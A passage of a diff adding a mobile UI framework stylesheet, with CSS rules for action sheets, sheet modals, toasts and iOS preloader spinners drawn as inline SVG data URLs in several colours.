overflow: auto; + -webkit-overflow-scrolling: touch; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.actions-modal.modal-in, +.actions-modal.modal-out { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.actions-modal.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.actions-modal.modal-in { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.actions-modal.modal-out { + z-index: 13499; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +@media (min-width: 496px) { + .actions-modal { + width: 480px; + left: 50%; + margin-left: -240px; + } +} +.actions-group { + position: relative; +} +.actions-button, +.actions-label { + width: 100%; + font-weight: normal; + margin: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: block; + position: relative; +} +.actions-button a, +.actions-label a { + text-decoration: none; + color: inherit; + display: block; +} +.actions-button b, +.actions-label b, +.actions-button.actions-button-bold, +.actions-label.actions-button-bold { + font-weight: 500; +} +.actions-button { + cursor: pointer; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.actions-button-media { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.actions-button-text { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; +} +.actions-label { + line-height: 1.3; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.actions-grid .actions-group { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.actions-grid .actions-button { + width: 33.33333333%; + display: block; +} +.actions-grid .actions-button-media { + margin-left: auto; + margin-right: auto; +} +.actions-grid .actions-button-text { + margin-left: 0 !important; + text-align: center; +} +.ios .actions-group { + margin: 8px; + border-radius: 13px; + overflow: hidden; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.ios .actions-button, +.ios .actions-label { + text-align: center; + overflow: hidden; + background: rgba(255, 255, 255, 0.95); +} +.ios .actions-button b, +.ios .actions-label b, +.ios .actions-button.actions-button-bold, +.ios .actions-label.actions-button-bold { + font-weight: 600; +} +.ios .actions-button:first-child, +.ios .actions-label:first-child { + border-radius: 13px 13px 0 0; +} +.ios .actions-button:last-child, +.ios .actions-label:last-child { + border-radius: 0 0 13px 13px; +} +.ios .actions-button:last-child:after, +.ios .actions-label:last-child:after { + display: none !important; +} +.ios .actions-button:first-child:last-child, +.ios .actions-label:first-child:last-child { + border-radius: 13px; +} +.ios .actions-button { + height: 57px; + line-height: 57px; + font-size: 20px; + color: #007aff; + white-space: normal; + text-overflow: ellipsis; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.ios .actions-button.active-state { + background: rgba(230, 230, 230, 0.9); +} +.ios .actions-button-media { + margin-left: 15px; +} +.ios .actions-button-media i.icon { + width: 29px; + height: 29px; + font-size: 29px; +} +.ios .actions-button-media + .actions-button-text { + text-align: left; + margin-left: 15px; +} +.ios .actions-label { + font-size: 13px; + min-height: 57px; + padding: 8px 10px; + color: #8a8a8a; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +@media (orientation: lanscape) { + .ios .actions-label { + min-height: 44px; + } + .ios .actions-button { + height: 44px; + line-height: 44px; + } +} +.ios .actions-grid .actions-group { + margin-top: 0; + border-radius: 0; + background: rgba(255, 255, 255, 0.95); +} +.ios .actions-grid .actions-group:first-child { + border-radius: 13px 13px 0 0; +} +.ios .actions-grid .actions-group:last-child { + border-radius: 0 0 13px 13px; +} +.ios .actions-grid .actions-group:first-child:last-child { + border-radius: 13px; +} +.ios .actions-grid .actions-group:not(:last-child) { + margin-bottom: 0; +} +.ios .actions-grid .actions-button, +.ios .actions-grid .actions-label { + border-radius: 0 !important; + background: none; +} +.ios .actions-grid .actions-button-media { + width: 48px; + height: 48px; + margin-left: auto; + margin-right: auto; +} +.ios .actions-grid .actions-button-media i.icon { + width: 48px; + height: 48px; + font-size: 48px; +} +.ios .actions-grid .actions-button-media + .actions-button-text { + text-align: center; +} +.ios .actions-grid .actions-button { + padding: 16px; + line-height: 1; + height: auto; +} +.ios .actions-grid .actions-button:after { + display: none !important; +} +.ios .actions-grid .actions-button.active-state { + background: rgba(230, 230, 230, 0.9); +} +.ios .actions-grid .actions-button-text { + margin-top: 8px; + line-height: 16px; + height: 16px; + font-size: 12px; + color: #757575; +} +.ios .actions-button:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.2); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .actions-button:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .actions-button:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .actions-label:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.2); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .actions-label:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .actions-label:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .actions-button.color-red, +.ios .actions-label.color-red { + color: #ff3b30; +} +.ios .actions-button.color-green, +.ios .actions-label.color-green { + color: #4cd964; +} +.ios .actions-button.color-blue, +.ios .actions-label.color-blue { + color: #007aff; +} +.ios .actions-button.color-pink, +.ios .actions-label.color-pink { + color: #ff2d55; +} +.ios .actions-button.color-yellow, +.ios .actions-label.color-yellow { + color: #ffcc00; +} +.ios .actions-button.color-orange, +.ios .actions-label.color-orange { + color: #ff9500; +} +.ios .actions-button.color-gray, +.ios .actions-label.color-gray { + color: #8e8e93; +} +.ios .actions-button.color-white, +.ios .actions-label.color-white { + color: #ffffff; +} +.ios .actions-button.color-black, +.ios .actions-label.color-black { + color: #000000; +} +.ios.device-iphone-x .actions-modal.modal-in { + -webkit-transform: translate3d(0, calc(0px - constant(safe-area-inset-bottom)), 0); + transform: translate3d(0, calc(0px - constant(safe-area-inset-bottom)), 0); + -webkit-transform: translate3d(0, calc(0px - env(safe-area-inset-bottom)), 0); + transform: translate3d(0, calc(0px - env(safe-area-inset-bottom)), 0); +} +/* === Sheet Modal === */ +.sheet-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + z-index: 10500; +} +.sheet-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.sheet-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.sheet-modal { + position: absolute; + left: 0; + bottom: 0; + width: 100%; + height: 260px; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + background: #fff; + z-index: 12500; +} +.sheet-modal.modal-in, +.sheet-modal.modal-out { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.sheet-modal.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.sheet-modal.modal-in { + display: block; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.sheet-modal.modal-out { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +.sheet-modal .sheet-modal-inner { + height: 100%; + position: relative; + overflow: hidden; +} +.sheet-modal .toolbar { + position: relative; + width: 100%; +} +.ios .sheet-modal { + background: #cfd5da; +} +.ios .sheet-modal .toolbar { + background: #f7f7f8; +} +.ios .sheet-modal .toolbar + .sheet-modal-inner { + height: calc(100% - 44px); +} +.ios .sheet-modal .toolbar ~ .sheet-modal-inner .page-content { + padding-bottom: 0; +} +.ios .sheet-modal .toolbar:before { + content: ''; + position: absolute; + background-color: #929499; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .sheet-modal .toolbar:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .sheet-modal .toolbar:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios.device-iphone-x .sheet-modal .toolbar ~ .sheet-modal-inner .page-content, +.ios.device-iphone-x .sheet-modal .sheet-modal-inner > .page-content { + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +.ios .theme-dark .sheet-modal, +.sheet-modal.ios .theme-dark { + background-color: #171717; +} +.ios .theme-dark .sheet-modal .toolbar, +.sheet-modal.ios .theme-dark .toolbar { + background-color: #1b1b1b; +} +.ios .theme-dark .sheet-modal .toolbar:before, +.sheet-modal.ios .theme-dark .toolbar:before { + background-color: #282829; +} +/* === Toast === */ +.toast { + -webkit-transition-property: opacity, -webkit-transform; + transition-property: opacity, -webkit-transform; + transition-property: transform, opacity; + transition-property: transform, opacity, -webkit-transform; + position: absolute; + max-width: 568px; + z-index: 20000; + color: #fff; + font-size: 14px; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.toast.modal-in { + opacity: 1; +} +.toast .toast-content { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.toast .toast-text { + line-height: 20px; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + min-width: 0; +} +.toast .toast-button { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.toast.toast-with-icon .toast-content { + display: block; + text-align: center; +} +.toast.toast-with-icon .toast-text { + text-align: center; +} +.toast.toast-with-icon .toast-icon .f7-icons { + font-size: 50px; + width: 50px; + height: 50px; +} +.toast.toast-with-icon .toast-icon .material-icons { + font-size: 48px; + width: 48px; + height: 48px; +} +.toast.toast-center { + top: 50%; + opacity: 0; +} +@media (min-width: 1024px) { + .toast { + opacity: 0; + } +} +html.with-statusbar.device-ios .toast-top, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .toast-top { + margin-top: 20px; +} +html.with-statusbar.device-iphone-x .toast-top { + margin-top: constant(safe-area-inset-top); + margin-top: env(safe-area-inset-top); +} +html.with-statusbar.device-android .toast-top, +html.with-statusbar.md:not(.device-ios):not(.device-android) .toast-top { + margin-top: 24px; +} +.ios .toast { + -webkit-transition-duration: 450ms; + transition-duration: 450ms; + background: rgba(0, 0, 0, 0.75); + opacity: 0; + width: 100%; + left: 0; +} +@supports ((-webkit-backdrop-filter: blur(10px)) or (backdrop-filter: blur(10px))) { + .ios .toast { + background: rgba(0, 0, 0, 0.65); + -webkit-backdrop-filter: blur(10px); + backdrop-filter: blur(10px); + } +} +.ios .toast.toast-center { + width: auto; + left: 50%; + border-radius: 8px; + -webkit-transform: translate3d(-50%, -50%, 0); + transform: translate3d(-50%, -50%, 0); +} +.ios .toast.toast-center.modal-in { + -webkit-transform: translate3d(-50%, -50%, 0); + transform: translate3d(-50%, -50%, 0); + opacity: 1; +} +.ios .toast.toast-top { + top: 0; + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); +} +.ios .toast.toast-top.modal-in { + -webkit-transform: translate3d(0, 0%, 0); + transform: translate3d(0, 0%, 0); + opacity: 1; +} +.ios .toast.toast-bottom { + bottom: 0; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +.ios .toast.toast-bottom.modal-in { + -webkit-transform: translate3d(0, 0%, 0); + transform: translate3d(0, 0%, 0); + opacity: 1; +} +@media (min-width: 569px) { + .ios .toast { + left: 50%; + margin-left: -284px; + } + .ios .toast.toast-center { + margin-left: 0; + } +} +@media (min-width: 569px) { + .ios .toast { + border-radius: 8px; + } + .ios .toast.toast-bottom { + bottom: 15px; + } + .ios .toast.toast-top { + top: 15px; + } +} +@media (min-width: 1024px) { + .ios .toast { + margin-left: 0; + width: auto; + } + .ios .toast.toast-bottom, + .ios .toast.toast-top { + left: 15px; + } +} +.ios .toast-content { + padding: 12px 15px; +} +.ios .toast-button { + color: #fff; + margin-right: 15px; +} +@media (max-width: 568px) { + .ios.device-iphone-x .toast-bottom .toast-content { + padding-bottom: calc(12px + constant(safe-area-inset-bottom)); + padding-bottom: calc(12px + env(safe-area-inset-bottom)); + } +} +@media (min-width: 569px) { + .ios.device-iphone-x .toast-bottom { + bottom: calc(15px + constant(safe-area-inset-bottom)); + bottom: calc(15px + env(safe-area-inset-bottom)); + } +} +/* === Preloader === */ +.preloader { + display: inline-block; + vertical-align: middle; +} +/* === Preloader Modal === */ +.preloader-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + visibility: visible; + opacity: 0; + background: none; +} +.preloader-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.preloader-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.preloader-modal { + position: absolute; + left: 50%; + top: 50%; + padding: 8px; + background: rgba(0, 0, 0, 0.8); + z-index: 13500; + -webkit-transform: translateX(-50%) translateY(-50%); + transform: translateX(-50%) translateY(-50%); +} +.preloader-modal .preloader { + display: block !important; +} +html.with-modal-preloader .page-content { + overflow: hidden; + -webkit-overflow-scrolling: auto; +} +.ios .preloader { + width: 20px; + height: 20px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%236c6c6c'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); + background-position: 50%; + background-size: 100%; + background-repeat: no-repeat; + -webkit-animation: ios-preloader-spin 1s steps(12, end) infinite; + animation: ios-preloader-spin 1s steps(12, end) infinite; +} +.ios .preloader-modal { + border-radius: 5px; +} +.ios .preloader-modal .preloader { + width: 34px; + height: 34px; +} +.ios .preloader.color-red, +.ios .preloader.preloader-red { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ff3b30'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-green, +.ios .preloader.preloader-green { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%234cd964'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-blue, +.ios .preloader.preloader-blue { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23007aff'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-pink, +.ios .preloader.preloader-pink { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ff2d55'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-yellow, +.ios .preloader.preloader-yellow { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ffcc00'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-orange, +.ios .preloader.preloader-orange { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ff9500'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D